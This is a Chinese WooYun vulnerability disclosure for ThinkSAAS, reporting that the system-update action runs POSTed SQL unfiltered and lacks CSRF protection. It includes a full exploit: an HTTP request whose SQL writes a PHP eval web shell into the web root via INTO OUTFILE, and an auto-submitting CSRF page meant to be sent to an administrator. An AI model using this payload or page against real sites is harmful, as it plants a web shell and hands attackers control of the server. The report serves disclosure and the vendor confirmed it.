当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046791

漏洞标题:ThinkSAAS某处CSRF导致直接GETSHELL

相关厂商:thinksaas.cn

漏洞作者: xfkxfk

提交时间:2013-12-23 12:02

修复时间:2014-03-23 12:02

公开时间:2014-03-23 12:02

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-23: 细节已通知厂商并且等待厂商处理中
2013-12-23: 厂商已经确认,细节仅向厂商公开
2013-12-26: 细节向第三方安全合作伙伴开放
2014-02-16: 细节向核心白帽子及相关领域专家公开
2014-02-26: 细节向普通白帽子公开
2014-03-08: 细节向实习白帽子公开
2014-03-23: 细节向公众公开

简要描述:

ThinkSAAS某处CSRF导致直接GETSHELL

详细说明:

看看系统升级的代码:

case "twodo":

$upsql = trim($_POST['upsql']);
if($upsql){

$arrSql = explode('--------------------',$upsql);
foreach($arrSql as $item){
$item = trim($item);
if ($item){
$db->query($item);
}
}

//执行成功
echo '1';exit;

}else{

//无SQL可执行
echo '0';exit;

}


在升级数据库时,直接执行了sql语句,没有任何过滤,导致任意sql语句执行。
而且此功能存在CSRF漏洞,导致可以直接GETSHELL。

漏洞证明:

升级数据库时数据库时的请求:

POST /thinksaas/index.php?app=system&ac=update&ts=twodo HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: bdshare_firstime=1387332325248; PHPSESSID=ab1ec792be3fcce947049d1118cd9778
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 267
upsql=--------------------Create TABLE temp(cmd text NOT NULL);--------------------Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");--------------------Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/thinksaas/eval.php';--------------------


这里并没有判断refer。
我们构造好csrf 位置页面:

<html>
<body>
<form id="csrf" name="csrf" action="http://localhost/thinksaas/index.php?app=system&ac=update&ts=twodo" method="POST">
<input type="text" name="upsql" value="--------------------Create TABLE temp(cmd text NOT NULL);--------------------Insert INTO temp (cmd) VALUES('<?php @eval($_POST['cmd']);?>');--------------------Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/thinksaas/eval.php';--------------------" />
<input type="submit" name="submit" />
</form>
<script>
document.csrf.submit.click();
</script>
</body>
</html>


把此为页面的链接发送给管理员,管理员点击即可拿到shell。

getshell2.png

修复方案:

过滤。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-12-23 14:28

厂商回复:

非常感谢反馈,正在修复中。

最新状态:

暂无